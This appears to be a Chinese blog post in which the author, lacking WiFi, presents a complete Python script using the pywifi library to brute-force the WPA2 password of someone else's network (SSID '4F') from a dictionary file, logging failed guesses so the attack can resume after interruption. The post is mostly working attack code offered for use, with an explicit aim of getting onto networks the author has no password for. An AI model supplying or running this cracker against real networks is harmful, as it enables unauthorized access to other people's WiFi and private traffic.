python使用字典暴力解析wifi密码

前言

最近无wifi可用,搜到了很多高质量但是没有密码的WiFi,我在想应该可以用python调用常见的wifi字典包来暴力破解一下这些WiFi,也许可以成功

原理

使用pip install pywifi命令安装pywifi

使用它调用本机网卡,设置wifi加密方式,对字典包扫描密码逐个尝试

扫描失败的密码会被放入error.txt文件,当意外中断wifi扫描时可以立刻从上次扫描失败的点重新开始尝试

尝试了一下也就用常见的wifi密码字典包,尝试下,大概有几十万条,如果让0-9,a-z随机组合下那是不可能的,因为组合的种类有百亿条,千万年都跑不完

源码

复制代码
import pywifi
from pywifi import const
import time
errorList=[]
# WiFi连接函数
def connect_wifi(ssid, password):
    wifi = pywifi.PyWiFi()  # 创建一个WiFi对象
    iface = wifi.interfaces()[0]  # 获取第一个无线网卡接口

    iface.disconnect()  # 断开当前WiFi连接

    time.sleep(1)  # 等待1秒

    profile = pywifi.Profile()  # 创建WiFi配置文件
    profile.ssid = ssid  # 设置WiFi名称(SSID)
    profile.auth = const.AUTH_ALG_OPEN  # 设置WiFi加密算法(这里使用开放式认证)
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 设置WiFi身份验证算法(这里使用WPA2-PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP  # 设置WiFi加密方式(这里使用CCMP加密)

    profile.key = password  # 设置WiFi密码

    # 删除所有WiFi配置文件
    iface.remove_all_network_profiles()

    # 添加新的WiFi配置文件
    tmp_profile = iface.add_network_profile(profile)
    iface.connect(tmp_profile)  # 连接WiFi

    time.sleep(3)  # 等待3秒,等待连接成功

    if iface.status() == const.IFACE_CONNECTED:  # 判断是否连接成功
        print(f"成功连接到WiFi:{ssid},密码为:{password}")
        return True
    else:
        print(f"无法连接到WiFi:{ssid},密码为:{password}")
        # 将字典保存到文件
        with open('error.txt', 'a') as f:
                f.write(password + '\n')
        return False

# 读取字典文件
with open('dictionary.txt', 'r') as f:
    dictionary = f.read().splitlines()
with open('error.txt', 'r') as f:
    errorDictionary = f.read().splitlines()
ssid = '4F'  # 替换为目标WiFi的SSID
realDict=[]
for i in dictionary:
    if i not in errorDictionary:
        realDict.append(i)
# 尝试字典中的每个密码
for password in realDict:
    if connect_wifi(ssid, password):
        break  # 如果成功连接,停止尝试密码
相关推荐
卷无止境2 分钟前
Python的collections模块:那些被低估的"瑞士军刀"
后端·python
卷无止境7 分钟前
Python的方法解析顺序:一场关于继承顺序的精妙设计
后端·python
三川69813 分钟前
深入浅出SSD 09:NVMe介绍
网络
小柯南敲键盘29 分钟前
跨马翻译:批量图片与视频字幕翻译,支持智能抠图
大数据·人工智能·python·音视频
Brilliantwxx37 分钟前
【Linux】 软件包管理器(yum)+ Vim使用
linux·运维·服务器·开发语言·编辑器·vim
超级赛博搬砖工1 小时前
并发、多线程和HTTP连接之间有什么关系?
网络·网络协议·http
^yi1 小时前
【Linux系统编程】对操作系统的理解
linux·运维·服务器·操作系统·系统调用·os
再渊1 小时前
基因归因到底怎么计算的?
python·深度学习·机器学习
E_ICEBLUE1 小时前
Python 拆分 Excel 文件:使用 Spire.XLS 实现按工作表、行、列和条件拆分
python·excel
Kina_C1 小时前
LVS-NAT 负载均衡实验从环境搭建到规则持久化
linux·运维·服务器·负载均衡·lvs